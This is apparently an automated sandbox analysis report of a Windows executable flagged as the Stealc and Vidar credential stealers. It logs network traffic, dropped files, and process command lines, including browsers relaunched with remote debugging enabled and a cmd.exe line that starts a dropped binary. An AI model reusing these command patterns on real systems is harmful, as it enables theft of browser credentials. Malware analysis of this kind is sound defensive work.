2024-11-05 09:13:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49880	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 62e6dde4-a01e-0084-0658-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091343Z-157b9fd754fbhrh6hC1SN1yhsw00000002d0000000006mq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49882	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:43 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: d410cc94-f01e-00aa-7c5c-2e8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091343Z-157b9fd754f4s26nhC1SN1er5n00000004c00000000026ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:43 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49879	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:43 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: fda52046-a01e-001e-025c-2e49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091343Z-157b9fd754f2v9cjhC1SN1cryn00000004600000000017g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:43 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49876	94.245.104.56	443	7512	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-05 09:13:43 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 05 Nov 2024 09:13:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49885	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:44 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:44 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 62e4af8b-201e-003c-035f-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091344Z-157b9fd754ffv8t9hC1SN1n4w0000000044g000000003ms1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49887	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:44 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:44 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:44 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 842041b9-201e-006e-6b60-2ebbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091344Z-158dbd74bf48jc9phC1SN1a5vw00000001bg000000004m2x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:44 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49890	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:44 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:44 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:44 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e18da7de-b01e-001e-6e68-2e0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091344Z-157b9fd754fhlggqhC1SN1drew000000048g0000000053sn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:44 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	04:12:55
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\ByVoN4bhSU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ByVoN4bhSU.exe"
Imagebase:	0x210000
File size:	5'804'544 bytes
MD5 hash:	27804D55F185EDB91ED8EC5C15066FE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:12:55
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe
Imagebase:	0x350000
File size:	3'950'592 bytes
MD5 hash:	BE4CD825680F7E4844F9A8C61F7CECBF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:12:55
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
Imagebase:	0xe10000
File size:	3'003'904 bytes
MD5 hash:	781C92234AD3FA7FAFDA08C434D9A50E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2080146101.000000000157C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2075716472.0000000001580000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2802210012.0000000006911000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000003.2257337140.0000000008E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2092068807.0000000001589000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2123407217.0000000001580000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:13:07
Start date:	05/11/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff737790000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:13:15
Start date:	05/11/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\"
Imagebase:	0x7ff737790000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:13:26
Start date:	05/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:13:27
Start date:	05/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2300,i,14261767560341918354,1830996758735079065,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:13:38
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:13:38
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	04:13:38
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2540,i,14784142344617253117,468095031586631057,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:13:39
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	04:13:44
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6996 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:13:44
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:14:09
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAFCFHDHIII.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	04:14:09
Start date:	05/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	04:14:12
Start date:	05/11/2024
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe
Imagebase:	0x550000
File size:	2'123'264 bytes
MD5 hash:	7E2272452770FCE26BAAAF4FCA490EDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
